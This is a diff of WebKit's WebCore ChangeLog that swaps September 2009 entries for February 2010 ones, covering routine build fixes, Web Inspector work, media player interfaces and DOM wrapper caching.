+        (InjectedFakeWorker.URL.prototype.completeWith):
+        (InjectedFakeWorker.URL.prototype.sameOrigin):
+        (InjectedFakeWorker.DOMCoreException.formatError):
+        (InjectedFakeWorker.DOMCoreException):
+        (InjectedFakeWorker.noop):
+        * inspector/front-end/InspectorBackendStub.js:
+        (.WebInspector.InspectorBackendStub.prototype.setInjectedScriptSource):
+        (.WebInspector.InspectorBackendStub.prototype.addScriptToEvaluateOnLoad):
+        (.WebInspector.InspectorBackendStub.prototype.removeAllScriptsToEvaluateOnLoad):
+        * inspector/front-end/WebKit.qrc:
+        * inspector/front-end/inspector.html:
 
-2009-09-06  Cameron McCormack  <cam@mcc.id.au>
+2010-02-24  Nicholas Young  <nicholas.young@nokia.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Eric Carlson.
 
-        Drop <definition-src> support
-        https://bugs.webkit.org/show_bug.cgi?id=28991
+        Add mediaPlayerOwningDocument() to MediaPlayerClient.
+        https://bugs.webkit.org/show_bug.cgi?id=35374
 
-        http://dev.w3.org/SVG/profiles/1.1F2/publish/changes.html#FontsChapter
+        No new tests. These are interface changes only.
 
-        * DerivedSources.cpp: Remove references to definition-src.
-        * DerivedSources.make: Ditto.
-        * GNUmakefile.am: Ditto.
-        * WebCore.gypi: Ditto.
-        * WebCore.pro: Ditto.
-        * WebCore.vcproj/WebCore.vcproj: Ditto.
-        * WebCore.xcodeproj/project.pbxproj: Ditto.
-        * bindings/objc/DOM.mm:
-        (WebCore::createElementClassMap): Ditto.
-        * bindings/objc/DOMSVG.h: Ditto.
-        * bindings/v8/DerivedSourcesAllInOne.cpp: Ditto.
-        * bindings/v8/V8DOMWrapper.cpp: Ditto.
-        * bindings/v8/V8Index.cpp: Ditto.
-        * bindings/v8/V8Index.h: Ditto.
-        * svg/SVGAllInOne.cpp: Ditto.
-        * svg/SVGDefinitionSrcElement.cpp: Removed.
-        * svg/SVGDefinitionSrcElement.h: Removed.
-        * svg/SVGDefinitionSrcElement.idl: Removed.
-        * svg/SVGFontFaceElement.cpp:
-        (WebCore::SVGFontFaceElement::rebuildFontFace): Don't search for
-        definition-src child.
-        * svg/svgtags.in: Remove definition-src.
-
-2009-09-05  Dimitri Glazkov  <dglazkov@chromium.org>
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::mediaPlayerOwningDocument): Implementation for media element.
+        * html/HTMLMediaElement.h:
+        * platform/graphics/MediaPlayer.h:
+        (WebCore::MediaPlayerClient::mediaPlayerOwningDocument): New virtual method.
 
-        Unreviewed, build fix.
+2010-02-24  Andreas Kling  <andreas.kling@nokia.com>
 
-        [Chromium] Roll out http://trac.webkit.org/changeset/48094, because the
-        logic of retrieving default caret blink interval was incorrect (non-existent)
-        and caused layout test flakiness.
+        Reviewed by Kenneth Rohde Christiansen.
 
-        * rendering/RenderThemeChromiumLinux.cpp:
-        * rendering/RenderThemeChromiumLinux.h:
+        Optimized Font::normalizeSpaces() by caching the String::characters()
+        instead of repeatedly calling operator[]
 
-2009-09-05  Jian Li  <jianli@chromium.org>
+        https://bugs.webkit.org/show_bug.cgi?id=35336
 
-        Reviewed by NOBODY (Chromium reliability build break).
+        * platform/graphics/Font.cpp:
+        (WebCore::Font::normalizeSpaces):
 
-        Back up partial change in r48072 in order to fix chromium reliability build break.
+2010-02-24  Jungshik Shin  <jshin@chromium.org>
 
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::invokeEventHandler):
+        Reviewed by David Levin.
 
-2009-09-05  Nicolas Weber  <thakis@chromium.org>
+        [Chromium] Traditional Chinese Chrome on Windows should use PMingLiu instead of Simsun for Han characters
+        https://bugs.webkit.org/show_bug.cgi?id=35319
 
-        Reviewed by Darin Fisher.
+        No visible change in the layout test.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28975
-        Fix file upload on chrome/mac. Images that have "Hide Extension" set,
-        such as screenshots by default, can now be uploaded to sites such as
-        imgur.com.
+        * platform/graphics/chromium/FontUtilsChromiumWin.cpp:
+        (WebCore::):
 
-        * platform/FileSystem.h:
-        Add pathGetDisplayFileName().
-        * platform/chromium/FileChooserChromium.cpp:
-        (WebCore::FileChooser::basenameForWidth):
-        Call pathGetDisplayFileName() instead of pathGetFileName().
-        * platform/chromium/FileSystemChromiumLinux.cpp:
-        (WebCore::pathGetDisplayFileName):
-        Implement pathGetDisplayFileName() by delegating to pathGetFileName().
-        * platform/chromium/FileSystemChromiumMac.mm:
-        (WebCore::pathGetFileName):
-        Now returns a real filename instead of a presentational one, which
-        fixes the problem addressed by this change.
-        (WebCore::pathGetDisplayFileName):
-        New function that returns a presentational filename; does what
-        pathGetDisplayFileName() did prior to this patch.
-        * platform/chromium/FileSystemChromiumWin.cpp:
-        (WebCore::pathGetDisplayFileName):
-        Implement pathGetDisplayFileName() by delegating to pathGetFileName().
-
-2009-09-05  Joel Stanley  <joel@jms.id.au>
+2010-02-24  Anthony Ricaud  <rik@webkit.org>
 
-        Reviewed by David Levin.
+        Reviewed by Pavel Feldman.
 
-        Expose functions to set the caret blink interval for Linux Chromium.
-        https://bugs.webkit.org/show_bug.cgi?id=28931
+        Web Inspector: Reduce the timer to show the eval popover
+        https://bugs.webkit.org/show_bug.cgi?id=35344
 
-        * rendering/RenderThemeChromiumLinux.cpp:
-        (WebCore::RenderThemeChromiumLinux::setCaretBlinkInterval):
-        (WebCore::RenderThemeChromiumLinux::caretBlinkInterval):
-        * rendering/RenderThemeChromiumLinux.h:
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._mouseMove):
 
-2009-09-04  Dmitry Titov  <dimich@chromium.org>
+2010-02-24  Jay Campan  <jcampan@google.com>
 
         Reviewed by David Levin.
 
-        Prevent UI freeze in case when too many timers are in the timer queue.
-        https://bugs.webkit.org/show_bug.cgi?id=23865
-
-        The fix measures the elapsed time while executing timers. If we have too many
-        timers and it takes significant time to fire, quit the loop and reschedule.
-        This lets the run loop process user input (close the window for example).
-
-        * platform/ThreadTimers.h:
-        * platform/ThreadTimers.cpp:
-        (WebCore::ThreadTimers::sharedTimerFiredInternal):
-        (WebCore::ThreadTimers::fireTimersInNestedEventLoop):
-        Removed functions and members used before to grab a list of all expired timers.
-        Now we fetch one by one, measuring time and quitting the loop if it takes too long.
-        * platform/Timer.cpp:
-        (WebCore::TimerBase::isActive):
-        (WebCore::TimerBase::setNextFireTime):
-        Since timers are now fired one by one, there is no need to keep track of updated timers.
-        * manual-tests/input-starved-by-timers.html: Manual test that attempts to freeze browser by
-        creating of enough timers. It then keeps UI frozen and after 10 seconds starts to drain the timers
-        so the browser un-freezes. This is instead of a regular layout test because we don't have a way
-        to inject an input events via regular run loop in DRT - instead they are directly dispatched by
-        eventSender, which does not reproduce the UI freeze that happens with real input.
-
-2009-09-04  Anders Carlsson  <andersca@apple.com>
+        Don't show the autofill popup when the input text is disabled or read only.
 
-        Reviewed by Adele Peterson.
+        Test: manual-tests/chromium/no-autofill-on-readonly.html
 
-        <rdar://problem/7201063>
-        
-        Detach any custom scrollbars before detaching the document.
-        
-        * page/Frame.cpp:
-        (WebCore::Frame::setView):
+        https://bugs.webkit.org/show_bug.cgi?id=35129
 
-2009-09-04  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        * src/EditorClientImpl.cpp:
+        (WebKit::EditorClientImpl::autofill):
+        *  manual-tests/chromium/no-autofill-on-readonly.html: Added.
 
-                Unreviewed, build fix.
+2010-02-24  Dominic Mazzoni  <dmazzoni@chromium.org>
 
-                Remove remaining references to UserStyleSheetLoader after r48075.
+        Reviewed by Jeremy Orlow.
 
-                * WebCore.gypi:
-                * WebCore.xcodeproj/project.pbxproj:
-                * page/qt/FrameQt.cpp:
-                * page/wince/FrameWince.cpp:
+        Wraps includes of SVG headers so that it's possible to
+        compile the V8 bindings with SVG disabled, e.g. 'enable_svg=0'.
+        https://bugs.webkit.org/show_bug.cgi?id=35345
 
-2009-09-04  Michelangelo De Simone  <micdesim@gmail.com>
-
-                Reviewed by David Levin.
+        No new tests.
 
-                https://bugs.webkit.org/show_bug.cgi?id=28988
-                Minor fix: "novalidate" attribute renamed in "noValidate", according to
-                HTML5 specs:
-                http://www.whatwg.org/specs/web-apps/current-work/#dom-fs-novalidate
+        * bindings/v8/V8DOMWrapper.cpp:
+        * bindings/v8/V8Proxy.cpp:
+        * bindings/v8/custom/V8CSSValueCustom.cpp:
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        * bindings/v8/custom/V8EventCustom.cpp:
+        * bindings/v8/custom/V8SVGElementCustom.cpp:
 
-                * html/HTMLFormElement.cpp:
-                (WebCore::HTMLFormElement::noValidate):
-                (WebCore::HTMLFormElement::setNoValidate):
-                * html/HTMLFormElement.h:
-                * html/HTMLFormElement.idl:
+2010-02-24  Maciej Stachowiak  <mjs@apple.com>
 
-2009-09-04  Dmitry Titov  <dimich@chromium.org>
+        Unreviewed build fix.
 
-        Reviewed by David Levin.
+        Fix gtk build.
 
-        Remove unused line of code from WorkerContext
-        https://bugs.webkit.org/show_bug.cgi?id=28990
+        Include JSC headers as runtime/ instead of JavaScriptCore/
 
-        * workers/WorkerContext.cpp:
-        (WebCore::WorkerContext::importScripts):
+        * bindings/js/JSDOMWrapper.h:
+        * bindings/js/ScriptWrappable.h:
 
-2009-09-04  Darin Adler  <darin@apple.com>
+2010-02-24  Maciej Stachowiak  <mjs@apple.com>
 
         Reviewed by Oliver Hunt.
 
-        Fix assertion seen when running buildbot.
-
-        * bindings/js/JSDOMBinding.h:
-        (WebCore::DOMObjectWithGlobalPointer::createStructure): Create the structure without
-        the HasDefaultMark bit since this has a custom mark function.
-
-2009-09-04  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Adam Roben.
+        Cache JavaScript wrappers inline in DOM nodes
+        https://bugs.webkit.org/show_bug.cgi?id=35226
 
-        https://bugs.webkit.org/show_bug.cgi?id=28984, remove the remote stylesheet loader on Mac/Qt.
-        Make sure the other code path (now used by everybody) can handle data URLs.
+        <rdar://problem/7664202>
+        
+        7.4% speedup on Dromaeo DOM Core tests.
+        2.3% speedup on Hixie DOM Core tests.
 
-        As per the post on webkit-dev, the ability to work remotely isn't working properly anyway (it doesn't
-        hold up the pending sheet count, so you'd just FOUC on every Web page), and it's extremely unlikely
-        that anybody is relying on this support.
+        This fixes the following things from the last attempt:
+        - Now builds in both debug and release and passes all tests
+        - Properly use a WeakGCPtr, not just a raw pointer, in ScriptWrappable
+        - Properly look in the appropriate per-document or per-world map
+        - Added an assert that would have caught any of the problems I found
+        - Handle clearing the inline cache properly in all cases
         
-        Tor Arne agreed it was ok to disable (he enabled it on the Qt side), and only Mac/Qt were using this
-        code.
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::cacheDOMObjectWrapper): Adjust for name changes.
+        (WebCore::forgetDOMNode): Clear wrapper pointer.
+        (WebCore::cacheDOMNodeWrapper): Cache inline too if caching for normal world.
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::Document::getWrapperCache): Inlined.
+        (WebCore::domObjectWrapperMapFor): Renamed to start with lowercase. Moved to header to inline.
+        * bindings/js/JSDOMWrapper.h: Added.
+        (WebCore::DOMObject::DOMObject): Factored this out of JSDOMBinding.h to avoid include
+        cycle. I think the class should be renamed, I picked a forward-looking header name because
+        we already have a DOMObject.h
+        * bindings/js/JSNodeCustom.cpp:
+        (WebCore::createWrapperInline): Renamed version of original createWrapper.
+        (WebCore::createWrapper): Call createWrapperInline. Out-of-line version.
+        (WebCore::toJSNewlyCreated): Call createWrapperInline instead of createWrapper.
+        * bindings/js/JSNodeCustom.h: Added.
+        (WebCore::getCachedDOMNodeWrapper): Moved from JSDOMBinding.cpp and moved here,
+        so it could inline everywhere without creating an include cycle. Consider inline
+        cache.
+        (WebCore::toJS): Moved to header to inline.
+        * bindings/js/ScriptWrappable.h:
+        (WebCore::ScriptWrappable::ScriptWrappable): Implement this in the obvious
+        way for JavaScriptCore. (Using a WeakGCPtr).
+        (WebCore::ScriptWrappable::wrapper):
+        (WebCore::ScriptWrappable::setWrapper):
+        (WebCore::ScriptWrappable::clearWrapper):
+        * bindings/scripts/CodeGeneratorJS.pm: Include CustomHeader heaaders
+        in the header, not just the impl file, so they can add inlining.
+        * dom/Node.idl: Add CustomHeader directive.
+        
+        Add new files to build.
 
+        * GNUmakefile.am:
+        * WebCore.gypi:
         * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
         * WebCore.xcodeproj/project.pbxproj:
-        * dom/Document.cpp:
-        (WebCore::Document::userStyleSheet):
-        * dom/Document.h:
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::begin):
-        * loader/UserStyleSheetLoader.cpp: Removed.
-        * loader/UserStyleSheetLoader.h: Removed.
-        * page/Frame.cpp:
-        (WebCore::Frame::reapplyStyles):
-        * page/Frame.h:
-        * page/Page.cpp:
-        (WebCore::Page::userStyleSheetLocationChanged):
-        (WebCore::Page::userStyleSheet):
-        * page/mac/FrameMac.mm:
-        * page/qt/FrameQt.cpp:
-
-2009-09-04  Mikhail Naganov  <mnaganov@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Add "sampling profiler" preference, simplify data display when it's set.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28969
-
-        * inspector/front-end/ProfileDataGridTree.js:
-        (WebInspector.ProfileDataGridNode.prototype.get data.formatMilliseconds):
-        (WebInspector.ProfileDataGridNode.prototype.get data):
-        * inspector/front-end/ProfileView.js:
-        (WebInspector.ProfileView):
-        * inspector/front-end/inspector.js:
-
-2009-09-04  Jian Li  <jianli@chromium.org>
-
-        Reviewed by Adam Barth.
-
-        [V8] Run-time exception in onmessage handler is not forwarded to the worker object.
-        https://bugs.webkit.org/show_bug.cgi?id=28980
-
-        Tested by worker-close.html.
-
-        * bindings/v8/ScriptFunctionCall.cpp:
-        * bindings/v8/V8AbstractEventListener.cpp:
-        (WebCore::V8AbstractEventListener::invokeEventHandler):
-        * bindings/v8/V8Utilities.cpp:
-        (WebCore::getScriptExecutionContext):
-        (WebCore::reportException):
-        * bindings/v8/V8Utilities.h:
-        (WebCore::getScriptExecutionContext):
-        * bindings/v8/custom/V8MessageChannelConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8SharedWorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8WorkerCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLHttpRequestConstructor.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
-        (WebCore::CALLBACK_FUNC_DECL):
-
-2009-09-04  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Anders Carlsson.
-
-        Remove unused m_sheet variable and setCSSStyleSheet methods.
-
-        * dom/Document.cpp:
-        * dom/Document.h:
-
-2009-09-04  Anders Carlsson  <andersca@apple.com>
-
-        Reviewed by David Hyatt and Adele Peterson.
-
-        (Based on a patch from Adele).
-        
-        Fix <rdar://problem/7185875>.
-        
-        * page/Frame.cpp:
-        (WebCore::Frame::setView):
-        Detach any custom scroll bars from the old view.
-        
-        * page/FrameView.cpp:
-        (WebCore::FrameView::detachCustomScrollbars):
-        Simplify the check (and make it work when body is null) by just checking that the scroll bar owner is
-        not a RenderPart object.
-
-        * rendering/RenderObject.cpp:
-        (WebCore::RenderObject::destroy):
-        ASSERT that frame() is not null here and also add a null check so that release builds won't crash.
-
-2009-09-04  Dave Hyatt  <hyatt@apple.com>
-
-        Reviewed by Adam Roben.
-
-        Make m_userStyleSheetLoader in Frame an OwnPtr.
-
-        * page/Frame.cpp:
-        (WebCore::Frame::Frame):
-        (WebCore::Frame::~Frame):
-        * page/Frame.h:
-        * page/mac/FrameMac.mm:
-        (WebCore::Frame::setUserStyleSheetLocation):
-        (WebCore::Frame::setUserStyleSheet):
-
-2009-09-04  Timothy Hatcher  <timothy@apple.com>
-
-        Show color swatches in the Web Inspector before the color text so clicking them will not
-        shift the swatch. Also makes multiple swatches in the single property toggle the color format.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28978
-
-        Reviewed by Darin Adler.
-
-        * inspector/front-end/StylesSidebarPane.js:
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle): Some refactoring to consolidate
-        the processing we do on the property value. This eliminated the old nickname code, since the new
-        WebInspector.Color class handles this. We could also simplify the color regex since more
-        is handled by the Color class. Also no longer uses innerHTML for the linkify code.
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processValue): Helper function to
-        process a value given a regex and processor functions. 
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.linkifyURL): Make an anchor for the
-        URL with "url()" syntax surrounding it.
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor): Makes a color, if
-        there was an exception just return a text node.
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor.changeColorDisplay.changeTo):
-        Moved from later in the file.
-        (WebInspector.StylePropertyTreeElement.prototype.updateTitle.processColor.changeColorDisplay): Ditto.
-        * inspector/front-end/inspector.css:
-
-2009-09-04  Mark Mentovai  <mark@chromium.org>
-
-        Reviewed by Dave Hyatt.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28614
-
-        Account for scrollbar state changes that occur during layout.
-
-        * platform/ScrollView.cpp:
-        (WebCore::ScrollView::updateScrollbars):
-
-        Perform a layout prior to checking whether the scrollbar modes are
-        off, on, or automatic.  The modes may change during layout.
-
-        * WebCore.base.exp:
-        * WebCore.order:
-        * page/Frame.cpp:
-        (WebCore::Frame::createView):
-        * page/FrameView.cpp:
-        (WebCore::FrameView::FrameView):
-        (WebCore::FrameView::resetScrollbars):
-        (WebCore::FrameView::layout):
-        * page/FrameView.h:
-        * platform/ScrollView.h:
-
-        Eliminate duplicated (and incorrect) scrollbar mode tracking between
-        FrameView and ScrollView.
-
-2009-09-04  Yael Aharon  <yael.aharon@nokia.com>
-
-        Reviewed by Darin Adler.
-
-        hostname and host are mixed up when manipulating anchor elements.
-        https://bugs.webkit.org/show_bug.cgi?id=28954
-
-        Swapped the implementation of host and hostname, and made sure not to return
-        the port number if it is default for the given protocol. 
-        FireFox also avoids returning the protocol number if it is default.
 
-        Test: fast/dom/Element/hostname-host.html
-
-        * html/HTMLAnchorElement.cpp:
-        (WebCore::HTMLAnchorElement::host):
-        (WebCore::HTMLAnchorElement::hostname):
-        * page/SecurityOrigin.cpp:
-        (WebCore::SecurityOrigin::isDefaultPortForProtocol):
-        * page/SecurityOrigin.h:
-
-2009-09-04  Anders Carlsson  <andersca@apple.com>
-
-        Reviewed by Darin Adler and Steve Falkenburg.
-
-        Fix <rdar://problem/7192902>.
-
-        Add the necessary plumbing for having QTMovieWin use WebCore timers.
-        
-        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
-        (WebCore::TaskTimer::initialize):
-        Create the timer and call QTMovieWin::setTaskTimerFuncs.
-        
-        (WebCore::TaskTimer::setTaskTimerDelay):
-        Start the timer.
-        
-        (WebCore::TaskTimer::stopTaskTimer):
-        Stop the timer.
-        
-        (WebCore::TaskTimer::fired):
-        Call QTMovieWin::taskTimerFired().
-        
-        (WebCore::MediaPlayerPrivate::load):
-        Initialize the Task timer.
-        
-        * platform/graphics/win/QTMovieWin.cpp:
-        (updateTaskTimer):
-        Call the global stopTaskTimer function and setTaskTimerDelay.
-        
-        (QTMovieWin::taskTimerFired):
-        Make this a member function.
-        
-        (QTMovieWin::setTaskTimerFuncs):
-        Set the global function pointers.
-        
-        (QTMovieWin::initializeQuickTime):
-        (DllMain):
-        No need to use the QT shared timer.
-        * platform/graphics/win/QTMovieWin.h:
 
-2009-09-04  Tony Chang  <tony@chromium.org>
+2010-02-24  Jochen Eisinger  <jochen@chromium.org>
 
-        Reviewed by David Levin.
+        Reviewed by Jeremy Orlow.
 
-        Fix Chromium Win compile.  Missing return statement in
-        WebCore::RenderThemeChromiumSkia::paintSliderThumb.
-        https://bugs.webkit.org/show_bug.cgi?id=28974
+        Expose Database object of currently active task on the database thread
+        https://bugs.webkit.org/show_bug.cgi?id=35341
 
-        No new tests, build fix.
+        * storage/DatabaseThread.cpp:
+        (WebCore::DatabaseThread::DatabaseThread):
+        (WebCore::DatabaseThread::databaseThread):
+        * storage/DatabaseThread.h:
+        (WebCore::DatabaseThread::getDatabaseOfCurrentTask):
 
-        * rendering/RenderThemeChromiumSkia.cpp:
-        (WebCore::RenderThemeChromiumSkia::paintSliderThumb):
+2010-02-24  Nicholas Young  <nicholas.young@nokia.com>
 
-2009-09-04  Dimitri Glazkov  <dglazkov@chromium.org>
+        Reviewed by Eric Carlson.
 
-        Unreviewed, build fix.
+        supportsMuting() should be an internal interface between MediaPlayer and MediaPlayerPrivate.
+        https://bugs.webkit.org/show_bug.cgi?id=35327
 
-        [Chromium] Rolling out http://trac.webkit.org/changeset/48035, because it broke
-        the build.
-        https://bugs.webkit.org/show_bug.cgi?id=28696
+        No new tests. Refactoring Only.
 
-2009-09-04  Anders Carlsson  <andersca@apple.com>
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::setMuted): Do not check supportsMuting()
+        (WebCore::HTMLMediaElement::updateVolume): Set volume and muted
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::setVolume): Check supportsMuting()
+        (WebCore::MediaPlayer::setMuted): Check supportsMuting()
+        * platform/graphics/MediaPlayer.h: Remove supportsMuting()
 
-        Fix vcproj file.
+2010-02-24  Adam Barth  <abarth@webkit.org>
 
-        * WebCore.vcproj/WebCore.vcproj:
+        Reviewed by Darin Fisher.
 
-2009-09-03  Dave Hyatt  <hyatt@apple.com>
+        [Chromium API] Disambiguate allowJavaScript from didNotAllowScript
+        https://bugs.webkit.org/show_bug.cgi?id=35205
 
-        Reviewed by Adam Roben.
+        For clients that want to show a user interface element when JavaScript
+        was blocked on a page, we need to disambiguate between querying the
+        client for whether JavaScript is enabled from actually failing to
+        execute some script.
 
-        https://bugs.webkit.org/show_bug.cgi?id=28890, make simple user script injection work.
-        
-        This patch adds new API for adding and removing user scripts from page groups.  User scripts
-        are bundled together in isolated worlds (you can have multiple scripts together in the same
-        world).
+        This patch adds a new FrameLoaderClient callback for when WebCore would
+        like to execute JavaScript but fails to because JavaScript is disabled.
 
-        Added userscripts/ directory for holding new tests (along with a simple test of script injection).
+        This patch also touches every client of canExecuteScripts so they can
+        indicate whether we should make this callback.  I was hoping there was
+        a better choke point, but my first two attempts were wrong in subtle
+        ways.  pkasting points out that this will be easy to screw up in the
+        future, so it's better to make all the clients be explicit.
 
-        * WebCore.base.exp:
-        * WebCore.vcproj/WebCore.vcproj:
-        * WebCore.xcodeproj/project.pbxproj:
+        * WebCore.PluginHostProcess.exp:
+        * bindings/ScriptControllerBase.cpp:
+        (WebCore::ScriptController::canExecuteScripts):
+        (WebCore::ScriptController::executeScript):
+        * bindings/js/JSEventListener.cpp:
+        (WebCore::JSEventListener::handleEvent):
+        * bindings/js/JSLazyEventListener.cpp:
+        (WebCore::JSLazyEventListener::initializeJSFunction):
+        * bindings/js/ScheduledAction.cpp:
+        (WebCore::ScheduledAction::execute):
         * bindings/js/ScriptController.cpp:
-        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        (WebCore::ScriptController::bindingRootObject):
+        (WebCore::ScriptController::windowScriptNPObject):
+        (WebCore::ScriptController::jsObjectForPluginElement):
+        (WebCore::ScriptController::executeScriptInWorld):
         * bindings/js/ScriptController.h:
+        (WebCore::):
+        * bindings/js/ScriptControllerMac.mm:
+        (WebCore::ScriptController::windowScriptObject):
+        * bindings/js/ScriptDebugServer.cpp:
+        (WebCore::ScriptDebugServer::setJavaScriptPaused):
+        * bindings/js/ScriptEventListener.cpp:
+        (WebCore::createAttributeEventListener):
+        * bindings/js/ScriptState.cpp:
+        (WebCore::scriptStateFromNode):
         * bindings/v8/ScriptController.cpp:
-        (WebCore::ScriptController::evaluateInIsolatedWorld):
+        (WebCore::ScriptController::windowScriptNPObject):
+        (WebCore::ScriptController::createScriptObjectForPluginElement):
         * bindings/v8/ScriptController.h:
-        * loader/FrameLoader.cpp:
-        (WebCore::FrameLoader::finishedParsing):
-        (WebCore::FrameLoader::dispatchDocumentElementAvailable):
-        * page/Frame.cpp:
-        (WebCore::Frame::injectUserScripts):
-        (WebCore::Frame::injectUserScriptsForWorld):
-        * page/Frame.h:
-        * page/PageGroup.cpp:
-        (WebCore::PageGroup::~PageGroup):
-        (WebCore::PageGroup::addUserScript):
-        (WebCore::PageGroup::removeUserContentForWorld):
-        (WebCore::PageGroup::removeAllUserContent):
-        * page/PageGroup.h:
-        (WebCore::PageGroup::userScripts):
-        * page/UserScript.h: Added.
-        (WebCore::UserScript::UserScript):
-        (WebCore::UserScript::source):
-        (WebCore::UserScript::url):
-        (WebCore::UserScript::patterns):
-        (WebCore::UserScript::worldID):
-        (WebCore::UserScript::injectionTime):
-        * page/UserScriptTypes.h: Added.
         (WebCore::):
-
-2009-09-04  Alexey Proskuryakov  <ap@apple.com>
-
-        Reviewed by Eric Seidel.
-
-        https://bugs.webkit.org/show_bug.cgi?id=26402
-        Crashes when using a detached DocumentType node
-
-        Test: fast/dom/DOMImplementation/detached-doctype.html
-
-        DocumentType nodes are the only one that can have null document(), and they can never have
-        children, so they are a degenerate case for NodeLists.
-
-        * dom/Node.cpp:
-        (WebCore::Node::childNodes): Don't try register node list with document if there's no
-        document. Since there are no changes possible for a DocumentType's node list, this is not
-        necessary.
-        (WebCore::Node::registerDynamicNodeList): Ditto.
-        (WebCore::Node::unregisterDynamicNodeList): Ditto. I couldn't find a scenario where this
-        was invoked for a DocumentType node, but I also couldn't prove that it can't be (the
-        de-registration code path that I saw taken was via Node destructor, and that already has
-        a null check for document).
-
-        * bindings/js/JSNodeCustom.cpp:
-        (WebCore::JSNode::addEventListener): Bail out if there is no document (just as we already do
-        if there is no window).
-        (WebCore::JSNode::removeEventListener): Ditto.
-
-2009-09-04  Xan Lopez  <xlopez@igalia.com>
-
-        Reviewed by Gustavo Noronha.
-
-        [GTK] loadFinished never emitted
-        https://bugs.webkit.org/show_bug.cgi?id=28935
-
-        Do not report errors right away from
-        ResourceHandle::start. Instead return true and schedule an error
-        to be reported in the handle later. Otherwise WebCore gets
-        confused and thinks the resource never finished loading, making it
-        not emit the finished status.
-
-        * platform/network/soup/ResourceHandleSoup.cpp:
-        (WebCore::startHttp):
-        (WebCore::):
-
-2009-09-04  Ben Murdoch  <benm@google.com>
-
-        Reviewed by Eric Seidel.
-
-        [V8] DOM Storage bindings: Event Handler should create StorageEvents
-        https://bugs.webkit.org/show_bug.cgi?id=28942
-        
-        Tests:
-        Causes the following tests that were failing with V8 to pass:
-        * storage/domstorage/localstorage/onstorage-attribute-setwindow.html
-        * storage/domstorage/localstorage/complex-keys.html
-        * storage/domstorage/localstorage/onstorage-attribute-markup.html
-        * storage/domstorage/localstorage/simple-events.html
-        * storage/domstorage/localstorage/onstorage-attribute-set-attribute.html
-        * storage/domstorage/localstorage/index-get-and-set.html
-        * storage/domstorage/sessionstorage/onstorage-attribute-setwindow.html
-        * storage/domstorage/sessionstorage/onstorage-attribute-markup.html
-        * storage/domstorage/sessionstorage/simple-events.html
-        * storage/domstorage/sessionstorage/onstorage-attribute-set-attribute.html
-        * storage/domstorage/sessionstorage/index-get-and-set.html
-
-        Code changes:
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertEventToV8Object):  Create StorageEvents.
-        * bindings/v8/custom/V8StorageCustom.cpp:
-        (WebCore::storageGetter): Check if we are retrieving the length property and return the number of items in the object rather than a property named length when invoking the getItem() member of local/sessionStorage.
-
-2009-09-03  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        https://bugs.webkit.org/show_bug.cgi?id=28911
-
-        * WebCore.gypi:
-        * WebCore.vcproj/WebCore.vcproj:
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::dispatchOnInjectedScript):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/front-end/ConsoleView.js:
-        (WebInspector.ConsoleView.prototype.doEvalInWindow):
-        (WebInspector.ConsoleView.prototype._formatarray):
-        (WebInspector.ConsoleView.prototype._formatnode):
-        * inspector/front-end/DOMAgent.js:
-        * inspector/front-end/ElementsPanel.js:
-        (WebInspector.ElementsPanel.this.treeOutline.focusedNodeChanged):
-        (WebInspector.ElementsPanel.prototype.searchCanceled):
-        (WebInspector.ElementsPanel.prototype.performSearch):
-        * inspector/front-end/InjectedScript.js:
-        (InjectedScript.dispatch):
-        * inspector/front-end/InjectedScriptAccess.js: Added.
-        (InjectedScriptAccess._installHandler.InjectedScriptAccess.methodName):
-        (InjectedScriptAccess._installHandler):
-        * inspector/front-end/MetricsSidebarPane.js:
-        (WebInspector.MetricsSidebarPane.prototype.update):
-        (WebInspector.MetricsSidebarPane.prototype.editingCommitted):
-        * inspector/front-end/ObjectPropertiesSection.js:
-        (WebInspector.ObjectPropertiesSection.prototype.update):
-        (WebInspector.ObjectPropertyTreeElement.prototype.onpopulate):
-        (WebInspector.ObjectPropertyTreeElement.prototype.applyExpression):
-        * inspector/front-end/PropertiesSidebarPane.js:
-        (WebInspector.PropertiesSidebarPane.prototype.update):
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourceSidebarTreeElement.prototype.ondblclick):
-        * inspector/front-end/ScriptsPanel.js:
-        (WebInspector.ScriptsPanel.prototype.doEvalInCallFrame):
